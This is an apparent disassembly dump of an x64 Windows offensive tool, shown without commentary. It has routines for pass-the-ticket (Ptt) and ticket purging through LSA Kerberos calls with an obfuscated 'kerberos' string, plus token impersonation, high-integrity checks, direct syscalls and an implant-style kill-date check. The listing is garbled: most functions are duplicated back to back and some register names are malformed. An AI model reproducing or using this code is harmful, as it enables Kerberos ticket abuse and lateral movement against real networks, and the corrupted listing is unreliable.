14001a3e1test eax, eax
14001a3e3je 0x14001a441
14001a3e5mov rcx, rbx
14001a3e8call CanTokenBeImpersonated
14001a3edtest eax, eax
14001a3efje 0x14001a441
14001a3f1mov rdx, r12
14001a3f4mov rcx, rdi
14001a3f7call StringCopyW
14001a3fcmov eax, [rsp+56]
14001a400mov r8, [rsp+1248]
14001a408mov rcx, rdi
14001a40bmov rdx, [rsp+1240]
14001a413mov [rsp+1104], ebp
14001a41amov [rsp+1120], eax
14001a421mov eax, [rsp+60]
14001a425mov [rsp+1112], rsi
14001a42dmov [rsp+1124], eax
14001a434mov [rsp+1128], r13l
14001a43ccall AddUserToken
14001a441
14001a441loc_14001a441:
14001a441mov rdi, [rsp+64]
14001a446test rdi, rdi
14001a449je 0x14001a465
14001a44bmov ecx, [rsp+72]
14001a44fxor eax, eax
14001a451rep stosb [rdi], al
14001a453mov rax, [rip+0x11f16]
14001a45amov rcx, [rsp+64]
14001a45fcall [rax+940]
14001a465
14001a465loc_14001a465:
14001a465add rsp, 1136
14001a46cpop rbx
14001a46dpop rsi
14001a46epop rdi
14001a46fpop rbp
14001a470pop r12
14001a472pop r13
14001a474pop r14
14001a476ret
14001a340
14001a477
14001a477 // align 0x10
14001a477 // align 0x10
14001a480
14001a480Ptt:
14001a480push r15
14001a482xor r10l, r10l
14001a485xor eax, eax
14001a487push r14
14001a489push r13
14001a48bpush r12
14001a48dpush rbp
14001a48emov ebp, r8l
14001a491xor r8l, r8l
14001a494push rdi
14001a495mov rdi, r9
14001a498xor r9l, r9l
14001a49bpush rsi
14001a49cmov rsi, rdx
14001a49fxor edx, edx
14001a4a1push rbx
14001a4a2mov rbx, rcx
14001a4a5xor ecx, ecx
14001a4a7sub rsp, 136
14001a4aemov [rsp+72], ecx
14001a4b2mov ecx, 114
14001a4b7lea r12, [rsp+103]
14001a4bcmov [rsp+120], rdx
14001a4c1mov [rsp+88], r8
14001a4c6mov [rsp+76], r9l
14001a4cbmov [rsp+103], r10
14001a4d0mov [rsp+80], rax
14001a4d5mov [rsp+112], 0x90008
14001a4ddmov [rsp+68], 0xffffffffc0000001
14001a4e5mov [rsp+111], 0
14001a4eacall HideChar
14001a4efmov ecx, 107
14001a4f4mov [rsp+108], al
14001a4f8call HideChar
14001a4fdxor ecx, ecx
14001a4ffmov [rsp+103], al
14001a503call HideChar
14001a508mov ecx, 101
14001a50dmov [rsp+111], al
14001a511call HideChar
14001a516mov ecx, 114
14001a51bmov [rsp+104], al
14001a51fcall HideChar
14001a524mov ecx, 115
14001a529mov [rsp+105], al
14001a52dcall HideChar
14001a532mov ecx, 98
14001a537mov [rsp+110], al
14001a53bcall HideChar
14001a540mov ecx, 111
14001a545mov [rsp+106], al
14001a549call HideChar
14001a54emov ecx, 101
14001a553mov [rsp+109], al
14001a557call HideChar
14001a55cmov [rsp+120], r12
14001a561mov [rsp+107], al
14001a565test rbx, rbx
14001a568jne 0x14001a571
14001a56a
14001a56aloc_14001a56a:
14001a56axor esi, esi
14001a56cjmp 0x14001a6cb
14001a571
14001a571loc_14001a571:
14001a571mov rcx, rbx
14001a574call IsHighIntegrity
14001a579mov edx, eax
14001a57btest eax, eax
14001a57djne 0x14001a5a1
14001a57flea r9, [rip+56874]
14001a586mov r8l, 432
14001a58clea rdx, [rip+0x1271d]
14001a593lea rcx, [rip+56685]
14001a59acall printf
14001a59fjmp 0x14001a56a
14001a5a1
14001a5a1loc_14001a5a1:
14001a5a1lea r8, [rsp+80]
14001a5a6mov rcx, rbx
14001a5a9call GetLsaHandle
14001a5aemov r9l, eax
14001a5b1test eax, eax
14001a5b3js 0x14001a5bf
14001a5b5mov r14, [rsp+80]
14001a5batest r14, r14
14001a5bdjne 0x14001a5d5
14001a5bf
14001a5bfloc_14001a5bf:
14001a5bfmov r8l, 439
14001a5c5lea rdx, [rip+0x126e4]
14001a5cclea rcx, [rip+56824]
14001a5d3jmp 0x14001a60b
14001a5d5
14001a5d5loc_14001a5d5:
14001a5d5mov r13, [rip+0x11d94]
14001a5dclea rdx, [rsp+112]
14001a5e1lea r8, [rsp+72]
14001a5e6mov rcx, r14
14001a5e9call [r13+1988]
14001a5f0mov r9l, eax
14001a5f3test eax, eax
14001a5f5jns 0x14001a615
14001a5f7mov r8l, 446
14001a5fdlea rdx, [rip+0x126ac]
14001a604lea rcx, [rip+56806]
14001a60b
14001a60bloc_14001a60b:
14001a60bcall printf
14001a610jmp 0x14001a56a
14001a615
14001a615loc_14001a615:
14001a615lea edx, [rbp+36]
14001a618mov ecx, 64
14001a61dmov r15, rdx
14001a620imul rdx, rdx, 36
14001a624call [r13+932]
14001a62bmov rbx, rax
14001a62etest rax, rax
14001a631je 0x14001a56a
14001a637mov [rax], 21
14001a63dlea rax, [rax+36]
14001a641mov ecx, ebp
14001a643mov r9l, r15l
14001a646mov [rax-8], ebp
14001a649mov r8, rbx
14001a64cmov [rax-4], 36
14001a653mov [rax-32], rdi
14001a657mov rdi, rax
14001a65alea rax, [rsp+68]
14001a65frep movsb [rdi], [rsi]
14001a661mov [rsp+48], rax
14001a666lea rax, [rsp+76]
14001a66bmov rcx, r14
14001a66emov [rsp+40], rax
14001a673lea rax, [rsp+88]
14001a678mov [rsp+32], rax
14001a67dmov edx, [rsp+72]
14001a681call [r13+1956]
14001a688mov r9l, eax
14001a68btest eax, eax
14001a68djns 0x14001a6ac
14001a68fmov r8l, 469
14001a695
14001a695loc_14001a695:
14001a695lea rdx, [rip+0x12614]
14001a69clea rcx, [rip+56534]
14001a6a3xor esi, esi
14001a6a5call printf
14001a6aajmp 0x14001a6c1
14001a6ac
14001a6acloc_14001a6ac:
14001a6acmov r9l, [rsp+68]
14001a6b1mov esi, 1
14001a6b6mov r8l, 475
14001a6bctest r9l, r9l
14001a6bfjs 0x14001a695
14001a6c1
14001a6c1loc_14001a6c1:
14001a6c1mov rcx, rbx
14001a6c4call [r13+940]
14001a6cb
14001a6cbloc_14001a6cb:
14001a6cbmov rcx, [rsp+80]
14001a6d0test rcx, rcx
14001a6d3je 0x14001a6e2
14001a6d5mov rax, [rip+0x11c94]
14001a6dccall [rax+1996]
14001a6e2
14001a6e2loc_14001a6e2:
14001a6e2mov rdi, r12
14001a6e5mov ecx, 9
14001a6eaxor eax, eax
14001a6ecrep stosb [rdi], al
14001a6eeadd rsp, 136
14001a6f5mov eax, esi
14001a6f7pop rbx
14001a6f8pop rsi
14001a6f9pop rdi
14001a6fapop rbp
14001a6fbpop r12
14001a6fdpop r13
14001a6ffpop r14
14001a701pop r15
14001a703ret
14001a480
14001a480Ptt:
14001a480push r15
14001a482xor r10l, r10l
14001a485xor eax, eax
14001a487push r14
14001a489push r13
14001a48bpush r12
14001a48dpush rbp
14001a48emov ebp, r8l
14001a491xor r8l, r8l
14001a494push rdi
14001a495mov rdi, r9
14001a498xor r9l, r9l
14001a49bpush rsi
14001a49cmov rsi, rdx
14001a49fxor edx, edx
14001a4a1push rbx
14001a4a2mov rbx, rcx
14001a4a5xor ecx, ecx
14001a4a7sub rsp, 136
14001a4aemov [rsp+72], ecx
14001a4b2mov ecx, 114
14001a4b7lea r12, [rsp+103]
14001a4bcmov [rsp+120], rdx
14001a4c1mov [rsp+88], r8
14001a4c6mov [rsp+76], r9l
14001a4cbmov [rsp+103], r10
14001a4d0mov [rsp+80], rax
14001a4d5mov [rsp+112], 0x90008
14001a4ddmov [rsp+68], 0xffffffffc0000001
14001a4e5mov [rsp+111], 0
14001a4eacall HideChar
14001a4efmov ecx, 107
14001a4f4mov [rsp+108], al
14001a4f8call HideChar
14001a4fdxor ecx, ecx
14001a4ffmov [rsp+103], al
14001a503call HideChar
14001a508mov ecx, 101
14001a50dmov [rsp+111], al
14001a511call HideChar
14001a516mov ecx, 114
14001a51bmov [rsp+104], al
14001a51fcall HideChar
14001a524mov ecx, 115
14001a529mov [rsp+105], al
14001a52dcall HideChar
14001a532mov ecx, 98
14001a537mov [rsp+110], al
14001a53bcall HideChar
14001a540mov ecx, 111
14001a545mov [rsp+106], al
14001a549call HideChar
14001a54emov ecx, 101
14001a553mov [rsp+109], al
14001a557call HideChar
14001a55cmov [rsp+120], r12
14001a561mov [rsp+107], al
14001a565test rbx, rbx
14001a568jne 0x14001a571
14001a56a
14001a56aloc_14001a56a:
14001a56axor esi, esi
14001a56cjmp 0x14001a6cb
14001a571
14001a571loc_14001a571:
14001a571mov rcx, rbx
14001a574call IsHighIntegrity
14001a579mov edx, eax
14001a57btest eax, eax
14001a57djne 0x14001a5a1
14001a57flea r9, [rip+56874]
14001a586mov r8l, 432
14001a58clea rdx, [rip+0x1271d]
14001a593lea rcx, [rip+56685]
14001a59acall printf
14001a59fjmp 0x14001a56a
14001a5a1
14001a5a1loc_14001a5a1:
14001a5a1lea r8, [rsp+80]
14001a5a6mov rcx, rbx
14001a5a9call GetLsaHandle
14001a5aemov r9l, eax
14001a5b1test eax, eax
14001a5b3js 0x14001a5bf
14001a5b5mov r14, [rsp+80]
14001a5batest r14, r14
14001a5bdjne 0x14001a5d5
14001a5bf
14001a5bfloc_14001a5bf:
14001a5bfmov r8l, 439
14001a5c5lea rdx, [rip+0x126e4]
14001a5cclea rcx, [rip+56824]
14001a5d3jmp 0x14001a60b
14001a5d5
14001a5d5loc_14001a5d5:
14001a5d5mov r13, [rip+0x11d94]
14001a5dclea rdx, [rsp+112]
14001a5e1lea r8, [rsp+72]
14001a5e6mov rcx, r14
14001a5e9call [r13+1988]
14001a5f0mov r9l, eax
14001a5f3test eax, eax
14001a5f5jns 0x14001a615
14001a5f7mov r8l, 446
14001a5fdlea rdx, [rip+0x126ac]
14001a604lea rcx, [rip+56806]
14001a60b
14001a60bloc_14001a60b:
14001a60bcall printf
14001a610jmp 0x14001a56a
14001a615
14001a615loc_14001a615:
14001a615lea edx, [rbp+36]
14001a618mov ecx, 64
14001a61dmov r15, rdx
14001a620imul rdx, rdx, 36
14001a624call [r13+932]
14001a62bmov rbx, rax
14001a62etest rax, rax
14001a631je 0x14001a56a
14001a637mov [rax], 21
14001a63dlea rax, [rax+36]
14001a641mov ecx, ebp
14001a643mov r9l, r15l
14001a646mov [rax-8], ebp
14001a649mov r8, rbx
14001a64cmov [rax-4], 36
14001a653mov [rax-32], rdi
14001a657mov rdi, rax
14001a65alea rax, [rsp+68]
14001a65frep movsb [rdi], [rsi]
14001a661mov [rsp+48], rax
14001a666lea rax, [rsp+76]
14001a66bmov rcx, r14
14001a66emov [rsp+40], rax
14001a673lea rax, [rsp+88]
14001a678mov [rsp+32], rax
14001a67dmov edx, [rsp+72]
14001a681call [r13+1956]
14001a688mov r9l, eax
14001a68btest eax, eax
14001a68djns 0x14001a6ac
14001a68fmov r8l, 469
14001a695
14001a695loc_14001a695:
14001a695lea rdx, [rip+0x12614]
14001a69clea rcx, [rip+56534]
14001a6a3xor esi, esi
14001a6a5call printf
14001a6aajmp 0x14001a6c1
14001a6ac
14001a6acloc_14001a6ac:
14001a6acmov r9l, [rsp+68]
14001a6b1mov esi, 1
14001a6b6mov r8l, 475
14001a6bctest r9l, r9l
14001a6bfjs 0x14001a695
14001a6c1
14001a6c1loc_14001a6c1:
14001a6c1mov rcx, rbx
14001a6c4call [r13+940]
14001a6cb
14001a6cbloc_14001a6cb:
14001a6cbmov rcx, [rsp+80]
14001a6d0test rcx, rcx
14001a6d3je 0x14001a6e2
14001a6d5mov rax, [rip+0x11c94]
14001a6dccall [rax+1996]
14001a6e2
14001a6e2loc_14001a6e2:
14001a6e2mov rdi, r12
14001a6e5mov ecx, 9
14001a6eaxor eax, eax
14001a6ecrep stosb [rdi], al
14001a6eeadd rsp, 136
14001a6f5mov eax, esi
14001a6f7pop rbx
14001a6f8pop rsi
14001a6f9pop rdi
14001a6fapop rbp
14001a6fbpop r12
14001a6fdpop r13
14001a6ffpop r14
14001a701pop r15
14001a703ret
14001a480
14001a704
14001a704 // align 0x10
14001a704 // align 0x10
14001a710
14001a710Purge:
14001a710push rbp
14001a711xor eax, eax
14001a713xor r8l, r8l
14001a716xor r9l, r9l
14001a719push rdi
14001a71axor r10l, r10l
14001a71dxor r11l, r11l
14001a720push rsi
14001a721mov rsi, rdx
14001a724xor edx, edx
14001a726push rbx
14001a727mov rbx, rcx
14001a72axor ecx, ecx
14001a72csub rsp, 200
14001a733mov [rsp+136], rcx
14001a73blea rdi, [rsp+144]
14001a743mov ecx, 12
14001a748rep stosd [rdi], eax
14001a74amov ecx, 114
14001a74fmov [rsp+96], rdx
14001a754lea rdi, [rsp+119]
14001a759mov [rsp+88], r8l
14001a75emov [rsp+104], r9
14001a763mov [rsp+92], r10l
14001a768mov [rsp+119], r11
14001a76dmov [rsp+128], 0x90008
14001a778mov [rsp+84], 0xffffffffc0000001
14001a780mov [rsp+127], 0
14001a785call HideChar
14001a78amov ecx, 107
14001a78fmov [rsp+124], al
14001a793call HideChar
14001a798xor ecx, ecx
14001a79amov [rsp+119], al
14001a79ecall HideChar
14001a7a3mov ecx, 101
14001a7a8mov [rsp+127], al
14001a7accall HideChar
14001a7b1mov ecx, 114
14001a7b6mov [rsp+120], al
14001a7bacall HideChar
14001a7bfmov ecx, 115
14001a7c4mov [rsp+121], al
14001a7c8call HideChar
14001a7cdmov ecx, 98
14001a7d2mov [rsp+126], al
14001a7d6call HideChar
14001a7dbmov ecx, 111
14001a7e0mov [rsp+122], al
14001a7e4call HideChar
14001a7e9mov ecx, 101
14001a7eemov [rsp+125], al
14001a7f2call HideChar
14001a7f7mov [rsp+136], rdi
14001a7ffmov [rsp+123], al
14001a803test rbx, rbx
14001a806je 0x14001a836
14001a808mov rcx, rbx
14001a80bcall IsHighIntegrity
14001a810mov edx, eax
14001a812test eax, eax
14001a814jne 0x14001a83d
14001a816lea r9, [rip+56211]
14001a81dmov r8l, 526
14001a823lea rdx, [rip+0x11fe6]
14001a82alea rcx, [rip+56022]
14001a831call printf
14001a836
14001a836loc_14001a836:
14001a836xor ebx, ebx
14001a838jmp 0x14001a984
14001a83d
14001a83dloc_14001a83d:
14001a83dlea r8, [rsp+96]
14001a842mov rcx, rbx
14001a845call GetLsaHandle
14001a84amov r9l, eax
14001a84dtest eax, eax
14001a84fjs 0x14001a85b
14001a851mov rbp, [rsp+96]
14001a856test rbp, rbp
14001a859jne 0x14001a874
14001a85b
14001a85bloc_14001a85b:
14001a85bmov r8l, 533
14001a861lea rdx, [rip+0x11fa8]
14001a868lea rcx, [rip+56156]
14001a86fjmp 0x14001a97a
14001a874
14001a874loc_14001a874:
14001a874mov rbx, [rip+0x11af5]
14001a87blea rdx, [rsp+128]
14001a883lea r8, [rsp+88]
14001a888mov rcx, rbp
14001a88bcall [rbx+1988]
14001a891mov r8l, 540
14001a897lea rdx, [rip+0x11f72]
14001a89elea rcx, [rip+56140]
14001a8a5mov r9l, eax
14001a8a8test eax, eax
14001a8aajs 0x14001a97a
14001a8b0lea rax, [rip+56179]
14001a8b7mov rcx, rbp
14001a8bamov r9l, 48
14001a8c0mov [rsp+144], 6
14001a8cbmov [rsp+184], rax
14001a8d3mov edx, [rsp+88]
14001a8d7lea r8, [rsp+144]
14001a8dfmov [rsp+168], rax
14001a8e7lea rax, [rsp+84]
14001a8ecmov [rsp+48], rax
14001a8f1lea rax, [rsp+92]
14001a8f6mov [rsp+40], rax
14001a8fblea rax, [rsp+104]
14001a900mov [rsp+148], rsi
14001a908mov [rsp+176], 0x10000
14001a913mov [rsp+160], 0x10000
14001a91emov [rsp+32], rax
14001a923call [rbx+1956]
14001a929mov rcx, [rsp+104]
14001a92emov r9l, eax
14001a931test rcx, rcx
14001a934je 0x14001a94c
14001a936mov [rsp+76], eax
14001a93acall [rbx+2012]
14001a940xor eax, eax
14001a942mov r9l, [rsp+76]
14001a947mov [rsp+104], rax
14001a94c
14001a94cloc_14001a94c:
14001a94cmov r8l, 564
14001a952test r9l, r9l
14001a955js 0x14001a96c
14001a957mov r9l, [rsp+84]
14001a95cmov ebx, 1
14001a961test r9l, r9l
14001a964jns 0x14001a984
14001a966mov r8l, 570
14001a96c
14001a96cloc_14001a96c:
14001a96clea rdx, [rip+0x11e9d]
14001a973lea rcx, [rip+55807]
14001a97a
14001a97aloc_14001a97a:
14001a97acall printf
14001a97fjmp 0x14001a836
14001a984
14001a984loc_14001a984:
14001a984mov rcx, [rsp+96]
14001a989test rcx, rcx
14001a98cje 0x14001a99b
14001a98emov rax, [rip+0x119db]
14001a995call [rax+1996]
14001a99b
14001a99bloc_14001a99b:
14001a99bmov ecx, 9
14001a9a0xor eax, eax
14001a9a2rep stosb [rdi], al
14001a9a4add rsp, 200
14001a9abmov eax, ebx
14001a9adpop rbx
14001a9aepop rsi
14001a9afpop rdi
14001a9b0pop rbp
14001a9b1ret
14001a710
14001a710Purge:
14001a710push rbp
14001a711xor eax, eax
14001a713xor r8l, r8l
14001a716xor r9l, r9l
14001a719push rdi
14001a71axor r10l, r10l
14001a71dxor r11l, r11l
14001a720push rsi
14001a721mov rsi, rdx
14001a724xor edx, edx
14001a726push rbx
14001a727mov rbx, rcx
14001a72axor ecx, ecx
14001a72csub rsp, 200
14001a733mov [rsp+136], rcx
14001a73blea rdi, [rsp+144]
14001a743mov ecx, 12
14001a748rep stosd [rdi], eax
14001a74amov ecx, 114
14001a74fmov [rsp+96], rdx
14001a754lea rdi, [rsp+119]
14001a759mov [rsp+88], r8l
14001a75emov [rsp+104], r9
14001a763mov [rsp+92], r10l
14001a768mov [rsp+119], r11
14001a76dmov [rsp+128], 0x90008
14001a778mov [rsp+84], 0xffffffffc0000001
14001a780mov [rsp+127], 0
14001a785call HideChar
14001a78amov ecx, 107
14001a78fmov [rsp+124], al
14001a793call HideChar
14001a798xor ecx, ecx
14001a79amov [rsp+119], al
14001a79ecall HideChar
14001a7a3mov ecx, 101
14001a7a8mov [rsp+127], al
14001a7accall HideChar
14001a7b1mov ecx, 114
14001a7b6mov [rsp+120], al
14001a7bacall HideChar
14001a7bfmov ecx, 115
14001a7c4mov [rsp+121], al
14001a7c8call HideChar
14001a7cdmov ecx, 98
14001a7d2mov [rsp+126], al
14001a7d6call HideChar
14001a7dbmov ecx, 111
14001a7e0mov [rsp+122], al
14001a7e4call HideChar
14001a7e9mov ecx, 101
14001a7eemov [rsp+125], al
14001a7f2call HideChar
14001a7f7mov [rsp+136], rdi
14001a7ffmov [rsp+123], al
14001a803test rbx, rbx
14001a806je 0x14001a836
14001a808mov rcx, rbx
14001a80bcall IsHighIntegrity
14001a810mov edx, eax
14001a812test eax, eax
14001a814jne 0x14001a83d
14001a816lea r9, [rip+56211]
14001a81dmov r8l, 526
14001a823lea rdx, [rip+0x11fe6]
14001a82alea rcx, [rip+56022]
14001a831call printf
14001a836
14001a836loc_14001a836:
14001a836xor ebx, ebx
14001a838jmp 0x14001a984
14001a83d
14001a83dloc_14001a83d:
14001a83dlea r8, [rsp+96]
14001a842mov rcx, rbx
14001a845call GetLsaHandle
14001a84amov r9l, eax
14001a84dtest eax, eax
14001a84fjs 0x14001a85b
14001a851mov rbp, [rsp+96]
14001a856test rbp, rbp
14001a859jne 0x14001a874
14001a85b
14001a85bloc_14001a85b:
14001a85bmov r8l, 533
14001a861lea rdx, [rip+0x11fa8]
14001a868lea rcx, [rip+56156]
14001a86fjmp 0x14001a97a
14001a874
14001a874loc_14001a874:
14001a874mov rbx, [rip+0x11af5]
14001a87blea rdx, [rsp+128]
14001a883lea r8, [rsp+88]
14001a888mov rcx, rbp
14001a88bcall [rbx+1988]
14001a891mov r8l, 540
14001a897lea rdx, [rip+0x11f72]
14001a89elea rcx, [rip+56140]
14001a8a5mov r9l, eax
14001a8a8test eax, eax
14001a8aajs 0x14001a97a
14001a8b0lea rax, [rip+56179]
14001a8b7mov rcx, rbp
14001a8bamov r9l, 48
14001a8c0mov [rsp+144], 6
14001a8cbmov [rsp+184], rax
14001a8d3mov edx, [rsp+88]
14001a8d7lea r8, [rsp+144]
14001a8dfmov [rsp+168], rax
14001a8e7lea rax, [rsp+84]
14001a8ecmov [rsp+48], rax
14001a8f1lea rax, [rsp+92]
14001a8f6mov [rsp+40], rax
14001a8fblea rax, [rsp+104]
14001a900mov [rsp+148], rsi
14001a908mov [rsp+176], 0x10000
14001a913mov [rsp+160], 0x10000
14001a91emov [rsp+32], rax
14001a923call [rbx+1956]
14001a929mov rcx, [rsp+104]
14001a92emov r9l, eax
14001a931test rcx, rcx
14001a934je 0x14001a94c
14001a936mov [rsp+76], eax
14001a93acall [rbx+2012]
14001a940xor eax, eax
14001a942mov r9l, [rsp+76]
14001a947mov [rsp+104], rax
14001a94c
14001a94cloc_14001a94c:
14001a94cmov r8l, 564
14001a952test r9l, r9l
14001a955js 0x14001a96c
14001a957mov r9l, [rsp+84]
14001a95cmov ebx, 1
14001a961test r9l, r9l
14001a964jns 0x14001a984
14001a966mov r8l, 570
14001a96c
14001a96cloc_14001a96c:
14001a96clea rdx, [rip+0x11e9d]
14001a973lea rcx, [rip+55807]
14001a97a
14001a97aloc_14001a97a:
14001a97acall printf
14001a97fjmp 0x14001a836
14001a984
14001a984loc_14001a984:
14001a984mov rcx, [rsp+96]
14001a989test rcx, rcx
14001a98cje 0x14001a99b
14001a98emov rax, [rip+0x119db]
14001a995call [rax+1996]
14001a99b
14001a99bloc_14001a99b:
14001a99bmov ecx, 9
14001a9a0xor eax, eax
14001a9a2rep stosb [rdi], al
14001a9a4add rsp, 200
14001a9abmov eax, ebx
14001a9adpop rbx
14001a9aepop rsi
14001a9afpop rdi
14001a9b0pop rbp
14001a9b1ret
14001a710
14001a9b2
14001a9b2 // align 0x10
14001a9b2 // align 0x10
14001a9c0
14001a9c0QueryObjectTypesInfo:
14001a9c0push r15
14001a9c2push r14
14001a9c4push r13
14001a9c6xor r13l, r13l
14001a9c9push r12
14001a9cbpush rbp
14001a9ccmov rbp, rdx
14001a9cfpush rdi
14001a9d0push rsi
14001a9d1mov rsi, rcx
14001a9d4push rbx
14001a9d5sub rsp, 72
14001a9d9mov [rsp+60], 4096
14001a9e1lea r14, [rsp+60]
14001a9e6
14001a9e6loc_14001a9e6:
14001a9e6mov r15l, [rsp+60]
14001a9ebmov rax, [rip+0x1197e]
14001a9f2mov ecx, 64
14001a9f7mov rdx, r15
14001a9facall [rax+932]
14001aa00mov [rsp+32], r14
14001aa05mov r9l, [rsp+60]
14001aa0axor ecx, ecx
14001aa0cmov r8, rax
14001aa0fmov edx, 3
14001aa14mov rbx, rax
14001aa17call SysNtQueryObject
14001aa1cmov r12l, eax
14001aa1ftest eax, eax
14001aa21js 0x14001aa34
14001aa23mov eax, [rsp+60]
14001aa27mov [rsi], rbx
14001aa2amov [rbp], eax
14001aa2dmov eax, 1
14001aa32jmp 0x14001aa5f
14001aa34
14001aa34loc_14001aa34:
14001aa34test rbx, rbx
14001aa37je 0x14001aa54
14001aa39mov rdi, rbx
14001aa3cmov rcx, r15
14001aa3fmov eax, r13l
14001aa42rep stosb [rdi], al
14001aa44mov rax, [rip+0x11925]
14001aa4bmov rcx, rbx
14001aa4ecall [rax+940]
14001aa54
14001aa54loc_14001aa54:
14001aa54cmp r12l, 0xffffffffc0000004
14001aa5bje 0x14001a9e6
14001aa5dxor eax, eax
14001aa5f
14001aa5floc_14001aa5f:
14001aa5fadd rsp, 72
14001aa63pop rbx
14001aa64pop rsi
14001aa65pop rdi
14001aa66pop rbp
14001aa67pop r12
14001aa69pop r13
14001aa6bpop r14
14001aa6dpop r15
14001aa6fret
14001a9c0
14001a9c0QueryObjectTypesInfo:
14001a9c0push r15
14001a9c2push r14
14001a9c4push r13
14001a9c6xor r13l, r13l
14001a9c9push r12
14001a9cbpush rbp
14001a9ccmov rbp, rdx
14001a9cfpush rdi
14001a9d0push rsi
14001a9d1mov rsi, rcx
14001a9d4push rbx
14001a9d5sub rsp, 72
14001a9d9mov [rsp+60], 4096
14001a9e1lea r14, [rsp+60]
14001a9e6
14001a9e6loc_14001a9e6:
14001a9e6mov r15l, [rsp+60]
14001a9ebmov rax, [rip+0x1197e]
14001a9f2mov ecx, 64
14001a9f7mov rdx, r15
14001a9facall [rax+932]
14001aa00mov [rsp+32], r14
14001aa05mov r9l, [rsp+60]
14001aa0axor ecx, ecx
14001aa0cmov r8, rax
14001aa0fmov edx, 3
14001aa14mov rbx, rax
14001aa17call SysNtQueryObject
14001aa1cmov r12l, eax
14001aa1ftest eax, eax
14001aa21js 0x14001aa34
14001aa23mov eax, [rsp+60]
14001aa27mov [rsi], rbx
14001aa2amov [rbp], eax
14001aa2dmov eax, 1
14001aa32jmp 0x14001aa5f
14001aa34
14001aa34loc_14001aa34:
14001aa34test rbx, rbx
14001aa37je 0x14001aa54
14001aa39mov rdi, rbx
14001aa3cmov rcx, r15
14001aa3fmov eax, r13l
14001aa42rep stosb [rdi], al
14001aa44mov rax, [rip+0x11925]
14001aa4bmov rcx, rbx
14001aa4ecall [rax+940]
14001aa54
14001aa54loc_14001aa54:
14001aa54cmp r12l, 0xffffffffc0000004
14001aa5bje 0x14001a9e6
14001aa5dxor eax, eax
14001aa5f
14001aa5floc_14001aa5f:
14001aa5fadd rsp, 72
14001aa63pop rbx
14001aa64pop rsi
14001aa65pop rdi
14001aa66pop rbp
14001aa67pop r12
14001aa69pop r13
14001aa6bpop r14
14001aa6dpop r15
14001aa6fret
14001a9c0
14001aa70
14001aa70RandomBool:
14001aa70sub rsp, 56
14001aa74mov rdx, [0x7ffe0320]
14001aa7cmov eax, [0x7ffe0004]
14001aa83lea rcx, [rsp+44]
14001aa88imul rax, rdx
14001aa8cshr rax, 24
14001aa90mov [rsp+44], eax
14001aa94mov rax, [rip+0x118d5]
14001aa9bcall [rax+340]
14001aaa1add rsp, 56
14001aaa5not eax
14001aaa7and eax, 1
14001aaaaret
14001aa70
14001aa70RandomBool:
14001aa70sub rsp, 56
14001aa74mov rdx, [0x7ffe0320]
14001aa7cmov eax, [0x7ffe0004]
14001aa83lea rcx, [rsp+44]
14001aa88imul rax, rdx
14001aa8cshr rax, 24
14001aa90mov [rsp+44], eax
14001aa94mov rax, [rip+0x118d5]
14001aa9bcall [rax+340]
14001aaa1add rsp, 56
14001aaa5not eax
14001aaa7and eax, 1
14001aaaaret
14001aa70
14001aaab
14001aaab // align 0x10
14001aaab // align 0x10
14001aab0
14001aab0RandomNumber32:
14001aab0push rsi
14001aab1push rbx
14001aab2sub rsp, 56
14001aab6mov rdx, [0x7ffe0320]
14001aabemov eax, [0x7ffe0004]
14001aac5mov rbx, [rip+0x118a4]
14001aacclea rsi, [rsp+44]
14001aad1imul rax, rdx
14001aad5mov rcx, rsi
14001aad8shr rax, 24
14001aadcmov [rsp+44], eax
14001aae0call [rbx+340]
14001aae6mov rcx, rsi
14001aae9mov [rsp+44], eax
14001aaedcall [rbx+340]
14001aaf3xor edx, edx
14001aaf5mov ecx, 0x7ffffffe
14001aafadiv ecx
14001aafcxor eax, eax
14001aafetest dl, 1
14001ab01setne al
14001ab04add rsp, 56
14001ab08add eax, edx
14001ab0apop rbx
14001ab0bpop rsi
14001ab0cadd eax, 2
14001ab0fret
14001aab0
14001aab0RandomNumber32:
14001aab0push rsi
14001aab1push rbx
14001aab2sub rsp, 56
14001aab6mov rdx, [0x7ffe0320]
14001aabemov eax, [0x7ffe0004]
14001aac5mov rbx, [rip+0x118a4]
14001aacclea rsi, [rsp+44]
14001aad1imul rax, rdx
14001aad5mov rcx, rsi
14001aad8shr rax, 24
14001aadcmov [rsp+44], eax
14001aae0call [rbx+340]
14001aae6mov rcx, rsi
14001aae9mov [rsp+44], eax
14001aaedcall [rbx+340]
14001aaf3xor edx, edx
14001aaf5mov ecx, 0x7ffffffe
14001aafadiv ecx
14001aafcxor eax, eax
14001aafetest dl, 1
14001ab01setne al
14001ab04add rsp, 56
14001ab08add eax, edx
14001ab0apop rbx
14001ab0bpop rsi
14001ab0cadd eax, 2
14001ab0fret
14001aab0
14001ab10
14001ab10ReachedKillDate:
14001ab10push rbx
14001ab11xor eax, eax
14001ab13sub rsp, 32
14001ab17mov rbx, [rip+0x11852]
14001ab1ecmp [rbx+124], 0
14001ab23je 0x14001ab34
14001ab25call GetSystemFileTime
14001ab2acmp rax, [rbx+124]
14001ab2esetae al
14001ab31movzx eax, al
14001ab34
14001ab34loc_14001ab34:
14001ab34add rsp, 32
14001ab38pop rbx
14001ab39ret
14001ab10
14001ab10ReachedKillDate:
14001ab10push rbx
14001ab11xor eax, eax
14001ab13sub rsp, 32
14001ab17mov rbx, [rip+0x11852]
14001ab1ecmp [rbx+124], 0
14001ab23je 0x14001ab34
14001ab25call GetSystemFileTime
14001ab2acmp rax, [rbx+124]
14001ab2esetae al
14001ab31movzx eax, al
14001ab34
14001ab34loc_14001ab34:
14001ab34add rsp, 32
14001ab38pop rbx
14001ab39ret
14001ab10
14001ab3a
14001ab3a // align 0x10
14001ab3a // align 0x10
14001ab40
14001ab40ReadLocalFile:
14001ab40push rbp
14001ab41xor r9l, r9l
14001ab44xor r10l, r10l
14001ab47mov rbp, rdx
14001ab4apush rdi
14001ab4bmov rdi, r8
14001ab4exor r8l, r8l
14001ab51mov edx, 0xffffffff80000000
14001ab56push rsi
14001ab57push rbx
14001ab58sub rsp, 88
14001ab5cmov rsi, [rip+0x1180d]
14001ab63mov [rsp+76], r8l
14001ab68xor r8l, r8l
14001ab6bmov [rsp+48], r9
14001ab70xor r9l, r9l
14001ab73mov [rsp+40], r10l
14001ab78mov [rsp+32], 3
14001ab80call [rsi+812]
14001ab86mov rbx, rax
14001ab89dec rax
14001ab8ccmp rax, -3
14001ab90jbe 0x14001abd4
14001ab92lea rdx, [rip+0x12777]
14001ab99lea rcx, [rip+63437]
14001aba0mov r8l, 897
14001aba6lea r9, [rip+63559]
14001abadcall printf
